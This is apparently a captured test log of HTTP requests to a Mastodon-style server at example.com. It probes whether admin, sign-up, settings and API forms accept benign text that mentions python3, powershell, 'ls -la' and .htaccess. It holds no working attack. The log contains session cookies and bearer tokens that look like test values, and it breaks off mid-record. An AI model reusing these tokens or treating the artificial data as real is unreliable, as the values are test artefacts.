_mastodon_session=pn21mIacyCKbwKtmFiXkH%2FiQ5ZBziB1JPrfxyI2vYzNu8vRf3x4H2z%2BTgoC2ERvMAPeYuWBA8f4dHxsxcmJBnhm9yrmrAO5kzfBmM79wVjyrLZftCo6naNItylxTE626TLJgI4sEKxnS17muxPQCbb22tN9iX4hGg9Fa%2BZDcG6Qsjl784EqcaBTGDP36jwyl2uihapGmeOuSTimuafE3ZSs9EYCmRWInESCiq1G%2BrVmua080xw1ucZ0qioegH1qnwimbo2McV4Y3aKW6PwRyGhy4CUiizYStXNC7%2FXGOG26Uhv7Gc5P%2FuYHnOlbXFbdRCm0uQL1S9Ky1Q2axsF0%2BiceH5iWK9LwGgYoRnK1K%2BwUtI8S1mWyQoqykxNaPnjBy20YAfoz92HMa--zBrAAo7nfjk8Uv0S--bzSPk5ohcKC6JNArL%2FcYAA%3D%3D"], "body": "authenticity_token=aruV4OSbSjybQePcigqioRLpq2wyrVY-4hFvDxdzgIzAm5yewV3MSCOrn8EFRY_klzQHr1MBzk45Ykq5HXkJdg&report_note%5Breport_id%5D=1&report_note%5Bcontent%5D=Checked+the+links%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/account_moderation_notes", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 292", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/accounts/117589807710501347", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6MzUuMzI1WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--c193e35a90817b92566d80a924c0bf0f34ce566c; _mastodon_session=8MiaObsBMtlRgRHBurcPb7QSbRRtJjMEXfkPo3LD9R23rwYei6HrRuMePCzdAO6Y44E7rb1O49NCGYsW0Trd6X7498h5aIzfJKAKhxKnU7JGZv3hAGtIp%2F0tN5J%2FzH7ZQ5uzkMnrz3QEW7Mqx1WoP%2Bib3TZ23BzHNINKtDLfFyKk%2FFkQ9MpFTme6TlQSogMQNs3kIye%2B7F0%2Fr3RU5t%2Bpzt9GDq%2Bsc14q%2F26%2BYj9QPEm1rvqdA4gcP1%2FB%2FGzf%2FbL5pgPt3hHxykyUSAIwXLvezN5sfdY624ml61tbgn3ZIg4w2PhTTnwqf1XXC15VtBCdG1UabD1bUJIFLUbJdO2Y63ZN6ozdbpFlzyYP9qnVuWN%2FR%2F7eLFfAamqQ2CWubEqB2CHcCWDxraZ6--xuw7TJSMgseyu8O2--FLrKb7uoCwkgLRR0ab6Jdw%3D%3D"], "body": "authenticity_token=j1KVAsW12m0HhrCGydlDRscSfYrqWuRTCpkjRqPgM8jZ9_D1DVrV3LyitsuBNTWPA13OBzFKtZHMiVnSqFg3pg&account_moderation_note%5Btarget_account_id%5D=117589807710501347&account_moderation_note%5Bcontent%5D=Warned+about+posting+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/warning_presets", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 334", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/warning_presets", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDAuNTMwWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--561ffd6b285af147d70a324b0d9397869527285e; _mastodon_session=aQl2iWwBeEKUCN4dcQsFpKgtDYktofncahEocmkPbgM3cbQkNobKIbWYZEgbjeLmPe5PC7O9zpY5Ie%2BL5qbRIVRUpNdSdlVU%2FOAIjtMfIsTzjaZiEFN%2BfzseluwaWfBUiazW0vWtKxY8zRGBQaw3bAfJTZ9lHOFm9yS8wi2%2Fp15t5DW%2FPODkCXtDrRHYkR5KJ%2BFbnkYgMhBjs40VWKs7ZtBvk2Y0c9melqc9tEwbyqP8ubvWzZa3R%2BgK7V9X1PYNbZ%2FVlMKUIWYlcZK35%2BhxGaN2ZXA6230Z1VkIfMhdLVXmUpyUFnin1RWcUbvk%2FEPVlQi5tINEST4DJPYJai2iV5iFIEAoTKVQbt8u%2FVCYPwtfBZ561KSpKV7wJY6hbRrjfQe9mAw3wzlu--FI8tDBlxbbZ2d4vP--obAulotL87sJgqynhDc5YA%3D%3D"], "body": "authenticity_token=wpT7XOXRAfEXTj199M0ipX9FtC2WK0rB8FEXreHJp9s_XYsClxsLzJS9YAgEyy0wY6E_sno6ufzX7MzGwAxtLw&account_warning_preset%5Btitle%5D=Scripts%3A+python3%2C+powershell%2C+ls+-la+and+.htaccess&account_warning_preset%5Btext%5D=Please+do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&button="}
|
||||||
|
{"method": "POST", "target": "/admin/roles", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 593", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/roles/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDg6NDguMTMxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--672408b9ca1e1e175a4fa18a0ff2600e6cd8a2e2; _mastodon_session=zLr4TCzcntoRMj35DCGYVDJ5LjZ6JVY1jdPgulvX5B54hMbQT%2FNbZJilzzH0iDgMo4EZqcZaExn9zUrmxAckPnyOY7HwgIUEHi53q6R09oVgBjNliIvQOg4t5hmKArE3hw7ezQSyEvZ9GFgzHWn232cHXlzCuoQTv4PhbdyxP2Q8cSrhsCotSc02qjDOLWkpBHBjUhDis5%2FdITa21K18a%2BiwGokW2axrAAleiPQ%2FBNuLAAW5ATd3wrN4TEH%2B5xKv5pF2BO%2F%2BAOvTnJHrgFteov7mpVRXv1HOlZRRlOpABGsRvKnqsj8D0dLSnFkmQqCpsrSaqBNhsKkePGxh2TRrJpLVZTtam5UcubBcxJhvA%2FY66PVAQu0fy4We%2FjFfrPh1D%2FnF%2FbisG8eX--OUo13EyghWkS5PpL--1x3nDqiKtc%2BSVf1x1U2OIg%3D%3D"], "body": "authenticity_token=Q3cLyZYIkOgxnyeFacZyqXmWTgwmqF17J3qTlYkNqmwVyYhVIvEVMubnKdHsF7C8O2PNi0qJOu8-pFFLiSZ--w&user_role%5Bname%5D=Helpers+for+python3%2C+powershell%2C+ls+-la+and+.htaccess&user_role%5Bposition%5D=0&user_role%5Bcolor%5D=%23000000&user_role%5Bhighlighted%5D=0&user_role%5Brequire_2fa%5D=0&user_role%5Bcollection_limit%5D=10&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&user_role%5Bpermissions_as_keys%5D%5B%5D=&button="}
|
||||||
|
{"method": "POST", "target": "/admin/terms_of_service/draft", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 509", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/admin/terms_of_service/draft", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IklqYzNOREk0WWpVNU9HVTFOekk0WlRNNVpqVTBaV0UzWWpRM1pUWmhNVGxqSWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NDk6MDAuMzc2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--ac3b4cbea5fc9179a2634a398ff3fbc7afff0af1; _mastodon_session=3gwAOjwR7Hiabs%2BXY5%2FCxmSJJoJ4eIVs3o9RkTpRwr1oUGV3mmu1XD6lUX4%2FsyfKFiBDfjL9uXSwM5GqCMgJTPVEe1vw1jRPYCmi%2BOge7ZQFIzDz2nTgY4o%2FMMcnKEYNkxX6qsG%2FFsQUDJxqAgIVrC9cKZDlJ4fZND1Tm5b6tSDYp7EvslxHLj46VX03l%2FG9HPILQ1nQU%2F53IEk2BGCjG%2Bo2oBpQ9G2TMBd9IV%2Bib4IyJHNiiDJHlZCfY%2BIO39oL9KJef62xZcyF0E5xP2lRZzPcHjowmWu0SCW72YfesLMlKf03kuAvocBqL8hqBJmRzxC0G%2Brc6Gxk2T0scYBlXIrVyUWoY3AYRVsELm0uXzL2vEI9IOOxdRYbkXYORdSrpon%2FngnKSzKP--7PvVUgLBNDoi7FK0--uYakctRiP8H%2FkjTvrNel3Q%3D%3D"], "body": "_method=put&authenticity_token=YTIrw7CnZdYERgu0NJqV5O4_tMAnqeFodDlTBVu2w0Q8ulivnDdoszyAwvEZOep5sAHUTtsVcyaHrU0BzD1WEw&terms_of_service%5Btext%5D=Do+not+post+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts+that+harm+other+people.&terms_of_service%5Bchangelog%5D=Added+a+rule+about+python3%2C+powershell%2C+ls+-la+and+.htaccess+scripts.&terms_of_service%5Beffective_date%281i%29%5D=2026&terms_of_service%5Beffective_date%282i%29%5D=11&terms_of_service%5Beffective_date%283i%29%5D=20&action_type=save_draft"}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 559", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=NglnaxnLFMVlf5ZAunGS0fFRqi5AJCjW4eeXYmjovqWlIzK1xoBbJJF0g06UbGPopY43%2F7NUq3Djl6IqqTlceUnrMkD72K0T9o38nWnrKVH7ZXZYc8L8Fa7%2BL0%2BGj17Oec96wM47erzx54rTfcF%2FVCT0jymUhqqZ6zvVAYvf9nXTQ7sohN5BsAqnJxjQn%2FjqRME%2FzfAa%2FIQnIp2UrfubVtT0SyQPu1wmnXAQJKhufLZ%2BVYL0%2FaPsNmwccfJB4MYGwEPLrWuv5WutoqJKjBF5Bu5ysSuPwV54Bu6FNF3WIUH%2BCfihnt2%2BMzYyjUHqRUrweN%2F2mUBtD9IuvvZfWSdxjKpMNwFcWwUee188bqvte6uNbyQg24K3T4a48NW9--PAr42Iv8Qh4Q%2F1OP--Cg7%2Fq7D4I6JJUSN8RbVbfg%3D%3D"], "body": "authenticity_token=9ftdYZLUt7oUyL7IuGz-VW58G1kmeQ6SZm0PM3MIksgwu74RMqvDwD9xa4UKZFpETI6LE2QGJgoIwR0VzTVX-Q&user%5Baccount_attributes%5D%5Busername%5D=python3&user%5Bemail%5D=walker.three%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/auth", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 561", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/auth/sign_up", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _mastodon_session=2FZKvKNQ2m7%2FRKQQ6G01rECetZjH6uow7M%2FKkDrwQhJ95Z6iev8OGRqnS6mLFVrdN%2BumyjJ7%2BwGbbgHiBmoRWJI4%2Fm7R1rBsp9fmLfVUNi2yEVMW%2BbNWuRVs9T0DRArzh9xLGEqRQzzbcjAz4ibLWWUKf2521pVapDRptptqbP3PiWYGo%2Bh3pb5rBNQ%2FCoP02Q3nTM%2BuUdOwBe8D%2BNhMgu6wf8T2mS9AdCRJhHTLg595SkQ6yUT8PXAujS6EUia%2FfcYHruYbiZzGHBZvY3RIyFItcY9uEe1yelFNFHTPnWyakX7HMEesVPYUpD5T0pFhD3ZYFBGvd0JvBTqGyIs1nVuaPej01iz8GSogs0jPETBz%2FQMMKF8AzTX4ftdv--7qUHdgydk0YKuoPs--wHHFUDqMYtBhHV%2FfnZoiPw%3D%3D"], "body": "authenticity_token=AGsWgFUWRkHf-If5pG-QkEiWW9afcJ-4Qzt8pcfBFgyuTkAhQXULAQC_niNIAjDm2FI5gDaeSmmYe5A7uAVbbg&user%5Baccount_attributes%5D%5Busername%5D=powershell&user%5Bemail%5D=walker.four%40example.com&user%5Bpassword%5D=python3+powershell+ls+-la+.htaccess&user%5Bpassword_confirmation%5D=python3+powershell+ls+-la+.htaccess&user%5Bconfirm_password%5D=&user%5Bwebsite%5D=&user%5Binvite_request_attributes%5D%5Btext%5D=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess.&accept=&user%5Binvite_code%5D=&user%5Bagreement%5D=0&user%5Bagreement%5D=1&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 246", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTA6NTIuNTUxWiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--9a2ba682b9ef8647c01874fa9c6e02a34b8d2a23; _mastodon_session=oCl1ScElEesgfMt1Oqq0JxCk%2BRR1I7UYa0m3OuDBgMQrEXf9QAfmrXp0ApxWfuR66ZCKHPSll1SrN7RINLDihO%2BsXFalopd1rHsoiUeA8DitXZWzsT2OEoSw2m0UjajNAkukb5iLulNMwQ33Lb2PdvvE4YJcwDTvLT8Rp%2Bc1cOMD6mC%2FAowpj94Jo19EPZhP9AxyLzOr4JyRU7Eebvi7GbQUul8dF6g97LetrlYCdbGjvTG1jp53XL8fmtIVLQR7DTLqKKfZheuedq4jBr%2FLY3kiLIe6o8pYH1%2Fso6MB%2FZi77X3BFzMNiWwFFMLvN9pPtd6psZp%2FkEsXFI%2B7jK9F9yzBWBNSbkqfwKQHxIl2V0HRyEloZ2Y9B7D%2FuemBOgTNBKI9bzCX77RF--%2F6Y%2B2HuYNjac%2BuqW--vSQfMjjNEtEbgfO6hgmzig%3D%3D"], "body": "authenticity_token=9NzX4CJeJNh28E4NZypKtK7paQNdIkoCBfhNjmPkhrhtSJnoJ-s17ut0FPBstSRmE9wCdKJtH_E5kybjYk9IXg&account_migration%5Bacct%5D=carol%40remote.example&account_migration%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/migration/redirect", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 238", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/migration/redirect/new", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDEuMDY2WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--49efc9c543ef26a29c1001a2884cb924d46b77ec; _mastodon_session=%2FVSMLdxIeDtT1KiLADO066GUlJM0O8dB97KKINddAwI%2BEgQUwD63d2SCVi1%2FYc4QtmWo89AZCJyhsCBy7lwzd09PEN7s57dPD9HQhznVnSx%2FRTd30L7Th5JsnZAiM6oiICVsKRZAKhhhv7vSkIR5vq11a7nx%2FuwWlI%2Fa0JZZz9cBQ205ed71FIRQnUWOME9rQ7edO5GJkTAyEqZ7%2FscoODji5m11m3QbDWRoV%2BZEfpII9s6j670xGZSM%2F%2Bkq%2BTwTqBRyDA4%2BHcANf288cNw7Col0X3vyFSP7oddd%2F4T6QY1mORO%2F%2FfZbcNYVPWxZP2CfMTb4kwDG5M4hn0n%2FHtGpBcqUa6OEvPo2X4pJe3Yw9FsTFvJDoAwp%2BUVWgrpRIh8ZPzALHudKCkT2--jSo8IxL7MN7CLkfc--0IxxuNjugNLNTjv%2F4Kx3MA%3D%3D"], "body": "authenticity_token=ox3XRZYbL-_XXKt3ZwrFpC0pf2KM7DOsQ2wLF3jQPb3QPu0vSgTGpWhYxLKEngZYJHoOX8kChAr2VmdwZv-hHg&form_redirect%5Bacct%5D=carol%40remote.example&form_redirect%5Bcurrent_password%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
|
||||||
|
{"method": "POST", "target": "/settings/delete", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 252", "Cache-Control: max-age=0", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "sec-ch-ua-platform: \"Linux\"", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Origin: https://example.com", "Accept-Language: en-US", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: navigate", "Sec-Fetch-User: ?1", "Sec-Fetch-Dest: document", "Referer: https://example.com/settings/delete", "Accept-Encoding: gzip, deflate, br, zstd", "Cookie: _session_id=eyJfcmFpbHMiOnsibWVzc2FnZSI6IkltWmhOR1UwWm1GbE1EQXhPREpqTVRZM1pERmpNVEkxWWpNME9ESTFPREF6SWc9PSIsImV4cCI6IjIwMjctMTEtMTBUMDI6NTE6MDkuMDA3WiIsInB1ciI6ImNvb2tpZS5fc2Vzc2lvbl9pZCJ9fQ%3D%3D--6b7cb3ead34788a808d88df18d1523edf7f79504; _mastodon_session=Isfkwmm9wyDUAXY99lpsrmRkyEmleAXgSsWKV9c9auxameuaC%2FAVOAQ6GOuPyWzqMh2nGM3UdSJhdhSZeXIZKpQaWbXIoKDlV%2F59nbFB%2BEu0UDu3m6%2BWNtiI70tW0yIXpcpyJ8T3R3TvEwFaTFdyRCoZdUCCJs6MtgaEVE4VSMLnImxxCpvL7PruK3zY%2Faz%2BmJnsYdNVP4YJlEsE7wBOqS1FEH1oQJbfUJCMKGCTvRI7xQECNYoKTuNoO4VpxEzVkYpKxIhP311%2Fru9RtZKkt440a3kHPEl%2BDBqFs6d6Wr%2BMBQiV%2FmFJuGTo7yyQK5xaBXU7SCdtM6N6pa8JoYgwaa99XE6Qhc46lmuSywhatvqbcl%2FEbzN4yWyCYaBf3haJzLXS4%2BS5CjkI--Hf45B%2FqY7SVO6GI3--hIpK%2BY2PsRuMczDDa0h3OA%3D%3D"], "body": "_method=delete&authenticity_token=tGE8Y95GTANAgK1zl_lpt316LfAlkbtuN--tj_HmzlpsNzVFeYrlyXMkTSLvXW0x_FGu4FyJ4NSI0X2HQXLZXA&form_delete_confirmation%5Busername%5D=bob&form_delete_confirmation%5Bpassword%5D=wrong+python3+powershell+ls+-la+.htaccess&button="}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/accounts/update_credentials", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Type: application/json", "Content-Length: 246"], "body": "{\"display_name\":\"python3 powershell ls -la .htaccess\",\"note\":\"Notes on python3, powershell, ls -la and .htaccess.\",\"fields_attributes\":[{\"name\":\"python3 powershell ls -la .htaccess\",\"value\":\"Notes on python3, powershell, ls -la and .htaccess\"}]}\n"}
|
||||||
|
{"method": "PATCH", "target": "/api/v1/profile", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer vmMlsmAFAQNuZlSlpzfhSsvcDzBzuidhQYYeg_z6FNE", "Content-Length: 311", "Content-Type: multipart/form-data; boundary=------------------------NV7nwmuUZMQzjXshM4UEwZ"], "body": "--------------------------NV7nwmuUZMQzjXshM4UEwZ\r\nContent-Disposition: form-data; name=\"avatar\"; filename=\"Example .htaccess.png\"\r\nContent-Type: image/png\r\n\r\n�PNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000 \u0000\u0000\u0000 \b\u0002\u0000\u0000\u0000�\u0018��\u0000\u0000\u0000*IDATx�c8\u0011�AS�0j��\u0005�\u0016�Z0j��\u0005�\u0016�Z0j��\u0005�\u0016\f\u0015\u000b\u0000S\f\u0000L%jV�\u0000\u0000\u0000\u0000IEND�B`�\r\n--------------------------NV7nwmuUZMQzjXshM4UEwZ--\r\n"}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Length: 186", "Content-Type: application/x-www-form-urlencoded"], "body": "username=python3_notes&email=notes%40example.com&password=python3+powershell+ls+-la+.htaccess&agreement=true&locale=en&reason=I+write+about+python3%2C+powershell%2C+ls+-la+and+.htaccess."}
|
||||||
|
{"method": "POST", "target": "/api/v1/accounts", "headers": ["Host: example.com", "User-Agent: curl/8.23.0", "Accept: */*", "Authorization: Bearer SpScyPs1_Cy60QMq93BGZk5ckrWfKbKN07lJz-lCC2A", "Content-Type: application/json", "Content-Length: 209"], "body": "{\"username\":\"riverwalker\",\"email\":\"riverwalker@example.com\",\"password\":\"python3 powershell ls -la .htaccess\",\"agreement\":true,\"locale\":\"en\",\"reason\":\"I write about python3, powershell, ls -la and .htaccess.\"}\n"}
|
||||||
|
{"method": "PUT", "target": "/api/v1/media/117589930611612296", "headers": ["Host: example.com", "Connection: keep-alive", "Content-Length: 88", "sec-ch-ua-platform: \"Linux\"", "X-CSRF-Token: cHLohRLMISEgGIkSjmwNou0XjokvCgcD_ZBJvz1fyo7exC7CfxFrlZF0e0gfWcpOajJhWIjJuyj6QGt0oVj4ZA", "Authorization: Bearer hwqFaaakmUv1TG63NXD3qs-DU0VnpqKEzVDZhmIX8JE", "Accept-Language: en-US", "sec-ch-ua: \"Not:A-Brand\";v=\"8\", \"Chromium\";v=\"156\", \"HeadlessChrome\";v=\"156\"", "sec-ch-ua-mobile: ?0", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) HeadlessChrome/156.0.8078.4 Safari/537.36", "Accept: application/json, text/plain, */*", "Content-Type: application/json", "Origin: https://example.com", "Sec-Fetch-Site: same-origin", "Sec-Fetch-Mode: cors", 